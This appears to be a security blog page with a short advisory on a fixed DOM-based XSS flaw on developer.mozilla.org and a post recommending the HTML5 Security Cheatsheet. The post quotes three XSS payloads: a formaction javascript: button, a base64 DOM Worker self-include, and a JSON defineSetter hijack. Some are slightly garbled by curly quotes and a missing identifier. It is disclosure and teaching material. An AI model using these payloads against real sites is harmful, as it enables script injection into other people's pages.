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SSCHADV2013-010 - developer.mozilla.org DOMbased Cross-site Scripting vulnerability

Advisory:
developer.mozilla.org - DOM based Cross-site Scripting vulnerability
Advisory ID:
SSCHADV2013-010
Author:
Stefan Schurtz
Affected Software:
Successfully tested on developer.mozilla.org
Vendor URL:
Vendor Status:
fixed
 
 
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Vulnerability Description

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The website 'developer.mozilla.org' is prone to a DOM based XSS vulnerability
 
 
Continue reading "SSCHADV2013-010 - developer.mozilla.org DOMbased Cross-site Scripting vulnerability"

HTML5 Security Cheatsheet

Here you can find the HTML5 Security Cheatsheet, which is a nice source of some good XSS payloads.

For Example:

XSS via formaction – requiring user interaction (1)

A vector displaying the HTML5 form and formaction capabilities for form hijacking outside the actual form
 
<form id="test"></form><button form="test" formaction="javascript:alert(1)">X</button>
 
Self-including DOM Worker XSS
 
A self-including code snippet utilizing a DOM worker and firing a message event to itself causing script execution
 
0?<script>Worker("#").onmessage=function()eval(.data)</script> :postMessage(importScripts(‘data:;base64,cG9zdE1lc3NhZ2UoJ2FsZXJ0KDEpJyk’))
 
Self-hijacking JSON literals
 
In case parts of a JSON literal are controlled by user input there’s a risk to allow auto-harvesting values from later object members.
 
<script>[{‘a’:Object.prototype.defineSetter(‘b’,function(){alert(arguments[0])}),‘b’:[‘secret’]}]</script>
 
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